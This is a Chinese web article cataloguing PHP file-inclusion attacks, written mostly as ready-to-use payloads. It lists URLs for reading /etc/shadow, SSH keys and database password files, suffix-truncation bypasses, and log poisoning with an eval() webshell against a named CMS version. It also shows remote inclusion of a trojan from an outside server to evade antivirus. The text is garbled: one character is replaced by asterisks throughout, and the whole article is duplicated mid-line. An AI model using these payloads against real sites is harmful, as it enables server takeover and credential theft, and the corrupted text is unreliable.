PHP一些常见的漏洞梳理

182人已阅读 2020-11-02 16:40:12
导读 今天小编为大家总结整理的主要是近期对php一些常见漏洞的梳理,*含php文件*含、php反序列化漏洞以及php伪协议。下面和小编一起来看看吧!
Web前端 PHP 移动端编程 二次开发技术

新闻详情

2020-11-02 16:40:12
PHP一些常见的漏洞梳理

php文件*含漏洞
在开发中,开发人员会将一些重复使用的代码函数汇总放到单个文件中,需要使用某个函数时直接调用此文件。这个调用过程称为文件*含。为了使代码更灵活,将被*含的文件设置为变量用来进行动态调用。这就导致客户端可以调用一个恶意文件,造成文件*含漏洞。文件*含漏洞在php中居多。造成执行任意代码、*含恶意文件控制网站、敏感文件读取等危害
1.常见*含函数
include():执行到include时才*含文件,找不到被*含文件时产生警告,但是脚本继续执行。
require():程序一运行就*含文件,找不到被*含的文件产生致命错误,脚本停止运行
include_once&require_once():这两个函数行为与include/require类似,区别在于他们只做一次*含,即如果文件中代码已经被*含则不会再次被*含
2.利用条件
程序用include()等文件*含函数通过动态变量的方式引入需要*含的文件
用户能够控制该动态变量
配置文件php.ini中参数allow_url_fopen=open,此参数默认为open
远程*含则需要php.ini中参数allow_url_include=open,此参数默认为close
3.*含分类
本地文件*含:上传带有shell代码的任意格式文件,利用文件*含漏洞将该文件当作脚本格式解析。
远程文件*含:在远程服务器上放置大马以此绕过杀软提权
4.利用方法
*含日志文件getshell
*含data:或php://input等伪协议
若有phpinfo则可以*含临时文件
如果一个网站有文件*含但是无法getshell,尝试在旁站上上传图片马,然后进行文件*含拿shell
5.实例
假如目标网站有news.php文件,文件内容为:
<?php
$test=$_GET['id'];   
include($test);
?>
此时该文件存在文件*含漏洞。include函数通过动态变量的方式引入需要*含的文件,若用户能控制该变量;在同级目录下上传test.txt文件,内容为:
<?php phpinfo()?>
此时访问测试:http://192.168.1.3/fileinclude/news.php?id=test.txt。将test.txt文件传送给id参数并复制给test变量,然后txt文件被当作php脚本脚本文件执行。
同时也可以任意*含,根据物理路径读取服务器敏感文件:
# 常见敏感文件l
http://192.168.1.3/fileinclude/news.php?id=c:\\1.txt
www.test.com/test.php?test=../../../../../etc/passwod
www.test.com/test.php?test=/etc/shadow
www.test.com/test.php?test=/etc/php5/apache2/php.ini
www.test.com/test.php?test=/etc/mysql/my.cnf
www.test.com/test.php?test=/etc/apache2/apache2.conf
------------------------------------------------------------------------------
windows敏感文件:
c:\\boot.ini
# 查看系统版本
c:\\windows\\system32\\inetsrv\\metabase.xml
# 查看iis配置文件
c:\\windows\\repair\\sam
# 存储系统初次安装的密码
c:\\program files\\mysql\\my.ini
# mysql配置文件
c:\\program files\\mysql\\data\\mysql\\user.myd
# mysql root密码
c:\\windows\\php.ini
# php配置信息
c:\\windows\\my.ini
# mysql配置信息
-------------------------------------------------------------------------------
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
6.附加后缀截断
例如*含读取/etc/passwd文件,网站源码会给一个后缀形成如:/etc/passwd.php,导致无法读取文件内容。具体代码如下,此时该代码存在文件*含漏洞,由于在漏洞利用被*含的文件会被添加上.php后缀,无法直接利用。
<?php
$test=$_GET['id'];   
include($test).'.php';
?>
绕过方法一:%00截断
http://www.test.com/test/a.php?c=1.txt%00
注意:%00截断*含适合php版本<5.3.4,对应版本的配置文件magic_quotes_gps=off,才能够进行绕过,否则%00会被转义。
绕过方法二:文件名附加./././././.进行长度截断
http://www.test.com/test/a.php?c=1.txt/././././././././././././././././././....
注意:Windows服务器字节长度应大于256,Linux要大于4096
7.*含日志拿shell
#文件*含漏洞读取apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
#Linux默认访问url的日志
/var/log/httpd/access_log
#网站访问日志无权限访问,但是cms本身会记录错误日志,这种日志可以访问
拿shell步骤
访问../file.php?id=1<?php @eval($_POST[a]);?>
后台在/var/log/httpd/acess_log 会生成带有一句话的日志,相当与将一句话以.log形式写入了网站目录
然后根据文件*含漏洞>连接../file.php?file=…/…/…/…/var/log/httpd/acess_log,getshell
实例:ekucms某版本存在文件*含漏洞
①通过访问该url,将一句话木马写入日志文件中
http://192.168.1.3/ekucms2.4.1/?s=my/show/id/{~eval($_POST[x])}
②该日志是以时间日期命名的,用菜刀连接该日志文件,得到shell
http://192.168.1.3/ekucms2.4.1/?s=my/show/id/\..\temp\logs\20_05_18.log
8.读源代码
直接读取php文件返回的是代码编译解析后的结果,并不能看到源代码。
http://192.168.1.3/news.php?id=shell.php
此时可以使用封装伪协议读取:
http://192.168.1.3/news.php?id=php://filter/read=convert.base64-encode/resource=shell.php
//核心代码:id=php://filter/read=convert.base64-encode/resource=
//读出源代码,原理是将文件内容进行base64加密,使代码不运行解析,直接读出源代码。
9.远程文件*含
远程文件*含文件名不能为php可解析的扩展名。另外远程文件*含要确保php.ini中allow_url_fopen和allow_url_include状态为on。为躲避杀软将大马放到自己的vps上然后远程*含。
http://192.168.1.3/1.php?file=http://www.xxxx.com/1.png
远程*含限制绕过后缀名限制:
#源代码
<?php
include($_GET['filename'] . ".html");
?>
与本地*含类似,如果源码存在后缀名限制,直接进行远程*含的话会报错如下:
绕过方法:
filename=http://www.xxx.com/FI/php.txt?
filename=http://www.xxx.com/FI/php.txt%23
filename=http://www.xxxi8.com/FI/php.txt%20
filename=http://www.xxx.com/FI/php.txt%00一、php文件*含漏洞
在开发中,开发人员会将一些重复使用的代码函数汇总放到单个文件中,需要使用某个函数时直接调用此文件。这个调用过程称为文件*含。为了使代码更灵活,将被*含的文件设置为变量用来进行动态调用。这就导致客户端可以调用一个恶意文件,造成文件*含漏洞。文件*含漏洞在php中居多。造成执行任意代码、*含恶意文件控制网站、敏感文件读取等危害
1.常见*含函数
include():执行到include时才*含文件,找不到被*含文件时产生警告,但是脚本继续执行。
require():程序一运行就*含文件,找不到被*含的文件产生致命错误,脚本停止运行
include_once&require_once():这两个函数行为与include/require类似,区别在于他们只做一次*含,即如果文件中代码已经被*含则不会再次被*含
2.利用条件
程序用include()等文件*含函数通过动态变量的方式引入需要*含的文件
用户能够控制该动态变量
配置文件php.ini中参数allow_url_fopen=open,此参数默认为open
远程*含则需要php.ini中参数allow_url_include=open,此参数默认为close
3.*含分类
本地文件*含:上传带有shell代码的任意格式文件,利用文件*含漏洞将该文件当作脚本格式解析。
远程文件*含:在远程服务器上放置大马以此绕过杀软提权
4.利用方法
*含日志文件getshell
*含data:或php://input等伪协议
若有phpinfo则可以*含临时文件
如果一个网站有文件*含但是无法getshell,尝试在旁站上上传图片马,然后进行文件*含拿shell
5.实例
假如目标网站有news.php文件,文件内容为:
<?php
$test=$_GET['id'];   
include($test);
?>
此时该文件存在文件*含漏洞。include函数通过动态变量的方式引入需要*含的文件,若用户能控制该变量;在同级目录下上传test.txt文件,内容为:
<?php phpinfo()?>
此时访问测试:http://192.168.1.3/fileinclude/news.php?id=test.txt。将test.txt文件传送给id参数并复制给test变量,然后txt文件被当作php脚本脚本文件执行。
同时也可以任意*含,根据物理路径读取服务器敏感文件:
# 常见敏感文件l
http://192.168.1.3/fileinclude/news.php?id=c:\\1.txt
www.test.com/test.php?test=../../../../../etc/passwod
www.test.com/test.php?test=/etc/shadow
www.test.com/test.php?test=/etc/php5/apache2/php.ini
www.test.com/test.php?test=/etc/mysql/my.cnf
www.test.com/test.php?test=/etc/apache2/apache2.conf
------------------------------------------------------------------------------
windows敏感文件:
c:\\boot.ini
# 查看系统版本
c:\\windows\\system32\\inetsrv\\metabase.xml
# 查看iis配置文件
c:\\windows\\repair\\sam
# 存储系统初次安装的密码
c:\\program files\\mysql\\my.ini
# mysql配置文件
c:\\program files\\mysql\\data\\mysql\\user.myd
# mysql root密码
c:\\windows\\php.ini
# php配置信息
c:\\windows\\my.ini
# mysql配置信息
-------------------------------------------------------------------------------
/root/.ssh/authorized_keys
/root/.ssh/id_rsa
/root/.ssh/id_ras.keystore
/root/.ssh/known_hosts
/etc/passwd
/etc/shadow
/etc/my.cnf
/etc/httpd/conf/httpd.conf
/root/.bash_history
/root/.mysql_history
/proc/self/fd/fd[0-9]*(文件标识符)
/proc/mounts
/porc/config.gz
6.附加后缀截断
例如*含读取/etc/passwd文件,网站源码会给一个后缀形成如:/etc/passwd.php,导致无法读取文件内容。具体代码如下,此时该代码存在文件*含漏洞,由于在漏洞利用被*含的文件会被添加上.php后缀,无法直接利用。
<?php
$test=$_GET['id'];   
include($test).'.php';
?>
绕过方法一:%00截断
http://www.test.com/test/a.php?c=1.txt%00
注意:%00截断*含适合php版本<5.3.4,对应版本的配置文件magic_quotes_gps=off,才能够进行绕过,否则%00会被转义。
绕过方法二:文件名附加./././././.进行长度截断
http://www.test.com/test/a.php?c=1.txt/././././././././././././././././././....
注意:Windows服务器字节长度应大于256,Linux要大于4096
7.*含日志拿shell
#文件*含漏洞读取apache配置文件
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
#Linux默认访问url的日志
/var/log/httpd/access_log
#网站访问日志无权限访问,但是cms本身会记录错误日志,这种日志可以访问
拿shell步骤
访问../file.php?id=1<?php @eval($_POST[a]);?>
后台在/var/log/httpd/acess_log 会生成带有一句话的日志,相当与将一句话以.log形式写入了网站目录
然后根据文件*含漏洞>连接../file.php?file=…/…/…/…/var/log/httpd/acess_log,getshell
实例:ekucms某版本存在文件*含漏洞
①通过访问该url,将一句话木马写入日志文件中
http://192.168.1.3/ekucms2.4.1/?s=my/show/id/{~eval($_POST[x])}
②该日志是以时间日期命名的,用菜刀连接该日志文件,得到shell
http://192.168.1.3/ekucms2.4.1/?s=my/show/id/\..\temp\logs\20_05_18.log
8.读源代码
直接读取php文件返回的是代码编译解析后的结果,并不能看到源代码。
http://192.168.1.3/news.php?id=shell.php
此时可以使用封装伪协议读取:
http://192.168.1.3/news.php?id=php://filter/read=convert.base64-encode/resource=shell.php
//核心代码:id=php://filter/read=convert.base64-encode/resource=
//读出源代码,原理是将文件内容进行base64加密,使代码不运行解析,直接读出源代码。
9.远程文件*含
远程文件*含文件名不能为php可解析的扩展名。另外远程文件*含要确保php.ini中allow_url_fopen和allow_url_include状态为on。为躲避杀软将大马放到自己的vps上然后远程*含。
http://192.168.1.3/1.php?file=http://www.xxxx.com/1.png
远程*含限制绕过后缀名限制:
#源代码
<?php
include($_GET['filename'] . ".html");
?>
与本地*含类似,如果源码存在后缀名限制,直接进行远程*含的话会报错如下:
绕过方法:
filename=http://www.xxx.com/FI/php.txt?
filename=http://www.xxx.com/FI/php.txt%23
filename=http://www.xxxi8.com/FI/php.txt%20
filename=http://www.xxx.com/FI/php.txt%00


上一篇: 无 下一篇: PHP如何为函数执行设置超时?

相关文章

推荐课程

查看全部课程
石家庄代码加工厂

石家庄代码加工厂

长安校区

查看全部校区 进入官方主页